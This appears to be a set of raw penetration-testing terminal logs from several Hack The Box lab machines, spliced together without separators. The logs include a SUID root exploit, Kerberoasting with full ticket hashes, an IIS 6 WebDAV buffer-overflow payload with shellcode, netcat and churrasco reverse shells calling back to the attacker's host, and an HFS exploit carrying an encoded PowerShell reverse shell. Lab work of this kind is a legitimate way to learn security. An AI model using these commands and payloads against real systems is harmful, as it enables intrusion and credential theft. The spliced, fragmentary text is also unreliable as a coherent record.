$dolibarr_main_db_pass='serverfun2$2023!!';❯ ssh larissa@board.htb
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:30: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password:
larissa@boardlight:~$ cat user.txt
db09716122**********************larissa@boardlight:~$ find / -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysignlarissa@boardlight:/tmp$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
./exploit.sh: line 20: /tmp/exploit: Permission denied
chmod: changing permissions of '/tmp/exploit': Operation not permitted
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
# cat /root/root.txt
9ead301127**********************❯ powerview vintage.htb/'P.Rosa'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-p.rosa-dc01.vintage.htb
[2025-04-25 00:43:13] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity "SVC_SQL" -Set 'userAccountControl=66048'
[2025-04-25 00:54:54] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_SQL' -Set 'userAccountControl=4260352'
[2025-04-25 00:57:08] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_LDAP' -Set 'userAccountControl=4260352'
[2025-04-25 00:57:12] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_ARK' -Set 'userAccountControl=4260352'
[2025-04-25 00:57:18] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb❯ powerview vintage.htb/'P.Rosa'@"$FQDN" -k --no-pass --dc-ip "$IP"
Logging directory is set to /home/gzzcoo/.powerview/logs/vintage-p.rosa-dc01.vintage.htb
[2025-04-25 00:43:13] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity "SVC_SQL" -Set 'userAccountControl=66048'
[2025-04-25 00:54:54] [Set-DomainObject] Success! modified attribute useraccountcontrol for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_SQL' -Set 'servicePrincipalname=cifs/gzzcoo'
[2025-04-25 00:57:42] [Set-DomainObject] Success! modified attribute serviceprincipalname for CN=svc_sql,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_LDAP' -Set 'servicePrincipalname=cifs/gzzcoo1'
[2025-04-25 00:57:48] [Set-DomainObject] Success! modified attribute serviceprincipalname for CN=svc_ldap,OU=Pre-Migration,DC=vintage,DC=htb
(LDAP)-[dc01.vintage.htb]-[VINTAGE\P.Rosa]
PV > Set-DomainObject -Identity 'SVC_ARK' -Set 'servicePrincipalname=cifs/gzzcoo2'
[2025-04-25 00:57:55] [Set-DomainObject] Success! modified attribute serviceprincipalname for CN=svc_ark,OU=Pre-Migration,DC=vintage,DC=htb❯ python3 /opt/targetedKerberoast/targetedKerberoast.py -d vintage.htb --dc-ip "$IP" -u 'P.Rosa' --dc-host "$FQDN" -k --no-pass
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (svc_sql)
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$6b1e3ea60b0897a1f6ee3b01a79520a5$a50c9db1908082e246e551d202aebd8c0e2b8882b21020054971a6bc6138b7998eb537865edbc49afeb37d87389b16734972d0f37d4d86fb84b56e2c228f09575ac49afe4aa903889a0409b7811d4aca11e1640c4dfa593956d70ab3ec1eac1ab9a7a4edb3ceb2766110bf00c9ae87bb96f6d3d874aefc50a90133c9898d675062614d69f517d1d0e6481f6caa2ebcf49e60bae92e0da717a411106526ecd9dabe62dd95135fb06c0977f5e96f23b6cd14549cb5d02b8254d10a3ed6a0f74b230788b6f9b2a8d714c63bb08a1f9cd67d4c3f129fa8a5e5e0d00fbe4f1305c1f29d51f960cf7e1696b28f54298d8b15b5e30796598994851c66d6553905e981b46d4cf07c973864c59f0ffd0b5e29435e91ef0a2923f6999044fb2fa31a0004b9e4c09f8df78df86cf3cd1f10af23ca1cf5c082a7d3ad36b39ef8fe8fc6e495c546b95c449c11de4377c32efb8e1f661b45502831daed85fe38bb6e58b323043ecbb3d55dd87938720b23179fe037c992d80131f482d5a7123b0d136bf1baca38e2fe71c677abf2af23f07212b80afaa296e1731b46ec2396883a947c7bce71fc076d3222c5d77944bd2443d4bae42429b1d0f45562870f121aa2399d1cce4c4b9c6d7dd2e4982204987a0d28e038314ef16fd2efe1ae53750979ad3f3688a88ad17b46d3ce12c11be9d63b908a96fa320bbc805f9aac15f57ea60f46b72b32a807cc8be94aeb75b5a9dc85123e6f191a05ca41551451261904519d167b8897f2bcee48cfb0a81c563ff0eb8f95e8c9e0e747abdadd3a492d688e964f1c8f27c3e82626d2b2cff85470dc57d6b6a494d20ce416c5c7eb0f8e1d19d3525e34ad4fe0b5d08b8cbeacb7f1a85bee3dc14cd0d7042c32c6b336d0e7099b804789836c4025860a34a70e7e58627772fd7dbb92a07aa9567955476d59c840fbfc3337c4532a5eebd6886f4a0b9c818c6961eebc315ca75933cca93138c671430abb8e5e3ede77fa9f5bc1dbcc96d6d799d3d34af0aab3f4a6e4bef6ecd931189f8756f966e49b37bd6ec9df571b826df70eb9b72f0f295a92ea3243b7f347cf1bf793695c9d4a598854fef993adaf1f31af69e313bcede3dba442f9836488a5e11f326b9c52a1d44ea232da9fb7c480c215c3b20df21405fc747fb32fda8309feb3eb2356cd1eb61c28b01c6a92142299f394497ccfdd644c6a5920bfed07db4cab3c02523551dedc5e2f49b707e48a2379f02fb3e9b538e56a1a1248b7ed8cb04069dada9872ca6995c883ce00f59c3016b7080707d0ef90daf8686293f40d5bcd24e77b2ea2b99db7988dec2e69a67eba695c7778dba563458dc1dbba3bf9a85b9f3230a2b03f0ddaaa7f58498e0845067ae604595897e1454398663ccbdeca1364ebf9256277ca0b4151c481811023cfa02ea536e7811269cdf48eab7c8de143615a92ce
[+] Printing hash for (svc_ldap)
$krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb/svc_ldap*$5d068faac3ee4613c19f7572514204c1$f005f9e724ffc7d4401d6c8522a39ec3953b10aa9e0288548ac66b33215f248b68f0c69232fa83e2e9228486b44d5b8744dd65376e4ad4a47f89a486db49a27753b7a3c43cae228b5aa73e51b60e75e1ade4e592a88656dc73316d18b2895f930fb596f500e3badbba156d710cd4c418d1795d140c5396e3f14ffb43d6360316e0a41a667d502f00c71c0b8de52edba6f9c6b68cb8482f2220d31ab8daf2a90855c2f1cbf2d2e90841bdd621b03d71eba55fe06477cc66d0dd6dba1b16d62e40a8c267dfdc315ca3d696c69c8c39871f39e22524e1308a2b6b4b560160f7def27838be9c43d6c9f307bd7cafe1a207b275316918efc88d0c3a68b86340146a8c46848d6699885b6d522267e0e1a5b3fe555e0faea0f7d1ad3b691cd9a1c028ec11620d0682bc44a239317522fbfaf0dac2f71072df7b771e0a881afacd94a9752c3ef62edf18763f1ca372872dc868c59f9aafd1ba9f3832765ae9aa52c321731e89cff6b4287ce9c7ec8da0b7deb18707475007a2e3f72db410c188eb7d4e4d7021e4d26b980caca97ac811f2a0785897d3cb82d4246f3f95998115c5bf38dcd824c5652a316afa780019a2e956acf14dd3808a8c25b6abb70a2c14f9e21cfa100c593603506795f79866e81ba9363d60dba0686a8cf5a2cfb5a38b96732d00bb50bc38eb1e5b6085bfc0c90e4fc4a485efa57d71b356b6820757419691efdfb9c17f37ae3653b97e8422d9011000251bbe08eafab012584826ad9bf6b858c4626db6c1510ed00d5d9f61d1ab25627cac7f470254049d0723fa5f7f5f1362f8f3f2266be8ea45a223abfc26b414a4390cc74a08b9f2ad82c05e3a5767249326c5a5c57e48e76e5d4caebdd44e7b6046175c32b8f73928ae261f76decab70b1d0cc7436d973e415d9eb6ddec3b4b654164c782b954488b48dfb19f603a590e200c9b0e44ea4b3d361d735b8d3195e208b023442f302fb08a4806be2a5ae33da52e98d227cd903d3602a8dc2b0eaef245a6b7209a5b1adf74f1a57122161b1888dd247b0651bc425f4164d39edaa4f76af70019c4cf4cfcbb782385296cebd2cb7f8f3b719238fe2fdeecee32a00ea72fb154ad789d122376d52dff0545f7b2a3681d6c6e567bda28b8c265a47cd5829b8e51aee4ebccd9f051742b09e9346e1933a6120e90ed8a40677e83b061d54cc4ea339e4262dc2d2c3d12aa64c8144f259e0ec1c9caef25c6c40dac4cde26947ba4a4567461c6fa673cb636ad10979816c96741adf8f02eb6c7ed09d72a86ba9e354644759c95ed4f5a2a8c7b0c7917a02da25f1c3c6cac7db30ffbeacadbde61e484ae527b4a0ecaf9cce0431c7ed0a5b4e82814f468cd46b3778f1ffffc79fbffcc080d7348b4ec2d523a2f8c1ba132e7a06f00c6239094df86146c1c5564b591f935af5e5ce6bfd4a7d6c1173e3bd9601e
[+] Printing hash for (svc_ark)
$krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb/svc_ark*$62506c35878bcde0afe02fdf81038c7d$5c128ae7b35073f063fe7f84f736727b6698344b42dd54726c8af454501758e7a9a40ccdc816a43be31ce1cf834dad7c3abe0192170b15649972a21ae454c5bd3ee257516e1bd68e94ea4d382d5a6e75c51596cfdfb2012d5250d8440ecf857ec62c1eb045b9a607891ab14739d68863aa3095441efe3fc9f3a0c9875983dc9328b03f371deebb4f57a4385276f01057bf4717dc09b869c5d05815999c6e3a6cbf3ee8ca7e2f586cb4c1917ab727be7448f60a7d2384f4a7aef31c35aa2fe30c552e8f6f82804957eeb54aa9521140af7bc2acfc2b888d92ee9c8489437daeb19f7ca9689062988264987c467f074a53114b712031de7586961d57bd3a4abc4940e54eae1c4b8f8126155e7315ab8184e615017c09afee1354abcfe563010befa3689e37afc40953a4f38145bc0d73934522bd787b7d4c7a6b7b08cec45788d3a4fa67920a8155fc92f461f7ebf73f4672e06700e238d2ea9d90c59968eda9cf15fb7546f4a4c14bc8286a7af0159888f62c9ed3d37560623555bada2ec009df2bfb2be63d374517e359dd5a17fe6956801b8e6df75743ce79504c89b67e1a82d945f3fcb8f618f262fc58dcc70afde15f87d4652e57f635b3a77f04ea41412cb207e255188a88f9e372597570c121c6e38449f405f67285d19d3d99b0baea6682a769a9da436fae1aefe73a2c88cdc6263218a69b97836d18e7d4965b0e92c1f08fe28201e97037e632bbe6662f8487a3aa34faa2ad97e46245a8e2d88d09b68996d45fb75ead1d1e51addacf0db4f4eb8a6255727d65258af5cd5ef7a8f789f601e3cabf06d0a46deac739e32f775ac62fcd900d4a369314dcbc0cac6873aae907806d9303b52e9424c04205a5d5166dad0975c4d9ff13fde8ec0a325bed98f34ba406625be1694282208f6891d195ac7feb86844d80a94cb07ffc9e91b5753935d8c492e2291471703b7663774006fbf3a34b1b6ecb02e35d91e0259141a384f92b219a063bffb2c051de3177249236890883311749ad74c659067419677347745be09bcf55e9ef9e920a9bec155343561880905524d953f644e7c6bcb833d418e094ae13e0f563aec20061b2586a17ebdb4cbd43cdc767499dc611a5482c9d21bbfb78921ce22f0fbb6f52d13ed2417077f28ada750c49c17ce51edf2e47b1e2a0b065670b7d5802477b338bb2f6acc53fd793824ae316a5a4d64bc4e12523ac7e132e4b8b9dfb60bdf2fd9aed9ec7ef31679ce637d88a8269a6104d45d3117a598932f35db1b8cd52971f65d41dff871cf5844af269ebfd8ec321ec8bcfa8e07c8a07b688c3d27e511c21c4dc017ed89bcf493e46d711d8439459535c135644dd31600e1c404d98318f6f4f6ca3f0601e80a7af3b3f3314098dc8c7bae3fe159fd9a63bb1116158b970da647379b583ad697a1a442308f69d50600e69ff360f❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.14 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 05:22 CET
Initiating SYN Stealth Scan at 05:22
Scanning 10.10.10.14 [65535 ports]
Discovered open port 80/tcp on 10.10.10.14
SYN Stealth Scan Timing: About 23.73% done; ETC: 05:24 (0:01:40 remaining)
SYN Stealth Scan Timing: About 52.21% done; ETC: 05:24 (0:00:56 remaining)
Completed SYN Stealth Scan at 05:24, 105.67s elapsed (65535 total ports)
Nmap scan report for 10.10.10.14
Host is up, received user-set (0.046s latency).
Scanned at 2025-01-26 05:22:22 CET for 106s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 105.78 seconds
Raw packets sent: 131150 (5.771MB) | Rcvd: 133 (7.892KB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.14
[*] Open ports: 80
[*] Ports copied to clipboard❯ nmap -sCV -p80 10.10.10.14 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 05:25 CET
Nmap scan report for 10.10.10.14
Host is up (0.072s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
|_http-title: Under Construction
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| Server Date: Sun, 26 Jan 2025 04:26:00 GMT
| WebDAV type: Unknown
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_ Server Type: Microsoft-IIS/6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP (90%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (90%), Microsoft Windows Server 2008 Enterprise SP2 (90%), Microsoft Windows Server 2003 SP2 (89%), Microsoft Windows 2003 SP2 (88%), Microsoft Windows XP SP3 (88%), Microsoft Windows XP (85%), Microsoft Windows Server 2003 (85%), Microsoft Windows XP SP2 (85%), Microsoft Windows Server 2003 SP1 - SP2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 88.68 ms 10.10.16.1
2 88.96 ms 10.10.10.14
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.52 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ davtest -url http://10.10.10.14
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.14
********************************************************
NOTE Random string for this session: R3dGi7YWal
********************************************************
Creating directory
MKCOL FAIL
********************************************************
Sending test files
PUT cgi FAIL
PUT asp FAIL
PUT aspx FAIL
PUT pl FAIL
PUT shtml FAIL
PUT php FAIL
PUT cfm FAIL
PUT html FAIL
PUT txt FAIL
PUT jsp FAIL
PUT jhtml FAIL
********************************************************
/usr/bin/davtest Summary:❯ curl -s -X GET http://10.10.10.14 -I
HTTP/1.1 200 OK
Content-Length: 1433
Content-Type: text/html
Content-Location: http://10.10.10.14/iisstart.htm
Last-Modified: Fri, 21 Feb 2003 15:48:30 GMT
Accept-Ranges: bytes
ETag: "05b3daec0d9c21:2f4"
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Date: Sun, 26 Jan 2025 04:27:51 GMT❯ searchsploit IIS 6.0 | grep '.py'
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow | windows/remote/41738.py❯ wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/refs/heads/master/iis6%20reverse%20shell
--2025-01-26 05:33:54-- https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/refs/heads/master/iis6%20reverse%20shell
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 12313 (12K) [text/plain]
Grabando a: «iis6 reverse shell»
iis6 reverse shell 100%[===================================================================================================================================>] 12,02K --.-KB/s en 0s
2025-01-26 05:33:55 (71,0 MB/s) - «iis6 reverse shell» guardado [12313/12313]❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ mv iis6\ reverse\ shell IIS6.py
❯ python2 IIS6.py 10.10.10.14 80 10.10.16.5 443
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa潨硣睡焳椶䝲稹䭷佰畓穏䡨噣浔桅㥓偬啧杣㍤䘰硅楒吱䱘橑牁䈱瀵塐㙤汇㔹呪倴呃睒偡㈲测水㉇扁㝍兡塢䝳剐㙰畄桪㍴乊硫䥶乳䱪坺潱塊㈰㝮䭉前䡣潌畖畵景癨䑍偰稶手敗畐橲穫睢癘扈攱ご汹偊呢倳㕷橷䅄㌴摶䵆噔䝬敃瘲牸坩䌸扲娰夸呈ȂȂዀ栃汄剖䬷汭佘塚祐䥪塏䩒䅐晍Ꮐ栃䠴攱潃湦瑁䍬Ꮐ栃千橁灒㌰塦䉌灋捆关祁穐䩬> (Not <locktoken:write1>) <http://localhost/bbbbbbb祈慵佃潧歯䡅㙆杵䐳㡱坥婢吵噡楒橓兗㡎奈捕䥱䍤摲㑨䝘煹㍫歕浈偏穆㑱潔瑃奖潯獁㑗慨穲㝅䵉坎呈䰸㙺㕲扦湃䡭㕈慷䵚慴䄳䍥割浩㙱乤渹捓此兆估硯牓材䕓穣焹体䑖漶獹桷穖慊㥅㘹氹䔱㑲卥塊䑎穄氵婖扁湲昱奙吳ㅂ塥奁煐〶坷䑗卡Ꮐ栃湏栀湏栀䉇癪Ꮐ栃䉗佴奇刴䭦䭂瑤硯悂栁儵牺瑺䵇䑙块넓栀ㅶ湯ⓣ栁ᑠ栃̀翾Ꮐ栃Ѯ栃煮瑰ᐴ栃⧧栁鎑栀㤱普䥕げ呫癫牊祡ᐜ栃清栀眲票䵩㙬䑨䵰艆栀䡷㉓ᶪ栂潪䌵ᏸ栃⧧栁VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network servicec:\windows\system32\inetsrv>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAuditPrivilege Generate security audits Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: GRANPA
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790❯ ls -l churrasco.exe
.rw-rw-r-- kali kali 30 KB Sun Jan 26 05:37:16 2025 churrasco.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedC:\Temp>copy \\10.10.16.5\smbFolder\churrasco.exe C:\Temp\churrasco.exe
copy \\10.10.16.5\smbFolder\churrasco.exe C:\Temp\churrasco.exe
1 file(s) copied.
C:\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is FDCB-B9EF
Directory of C:\Temp
01/26/2025 06:38 AM <DIR> .
01/26/2025 06:38 AM <DIR> ..
01/26/2025 06:37 AM 31,232 churrasco.exe
1 File(s) 31,232 bytes
2 Dir(s) 1,318,244,352 bytes free❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...❯ ls -l nc.exe
.rwxr-xr-x kali kali 28 KB Sun Jan 26 05:30:47 2025 nc.exe
❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedC:\Temp>churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"
C:\Temp>churrasco.exe "\\10.10.16.5\smbFolder\nc.exe -e cmd 10.10.16.5 444"❯ rlwrap -cAr nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.14] 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
9359e905a**********************
C:\Documents and Settings\Administrator\Desktop>type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Harry\Desktop\user.txt"
bdff5ec67c**********************❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.10.8 -oG allPorts
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:25 CET
Nmap scan report for 10.10.10.8
Host is up (0.037s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 101.80 seconds❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.8
[*] Open ports: 80
[*] Ports copied to clipboard❯ nmap -sCV -p80 10.10.10.8 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:28 CET
Nmap scan report for 10.10.10.8
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2008|7 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (97%), Microsoft Windows 7 or Windows Server 2008 R2 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 59.75 ms 10.10.16.1
2 92.11 ms 10.10.10.8
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ searchsploit HFS 2.3
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
HFS (HTTP File Server) 2.3.x - Remote Command Execution (3) | windows/remote/49584.py
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC) | multiple/remote/48569.py
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) | windows/remote/34926.rb
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload | multiple/remote/30850.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m windows/remote/49584.py
Exploit: HFS (HTTP File Server) 2.3.x - Remote Command Execution (3)
URL: https://www.exploit-db.com/exploits/49584
Path: /usr/share/exploitdb/exploits/windows/remote/49584.py
Codes: N/A
Verified: False
File Type: ASCII text, with very long lines (546)
Copied to: /home/kali/Desktop/HackTheBox/Windows/Normal/Optimum/Optimum/content/49584.py❯ python3 49584.py
Encoded the command in base64 format...
Encoded the payload and sent a HTTP GET request to the target...
Printing some information for debugging...
lhost: 10.10.16.5
lport: 443
rhost: 10.10.10.8
rport: 80
payload: exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANQAiACwANAA0ADMAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIABbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7ACAAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsADAALAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAgACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAJABpACkAOwAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABHAGUAdAAtAEwAbwBjAGEAdABpAG8AbgApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAIAAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0A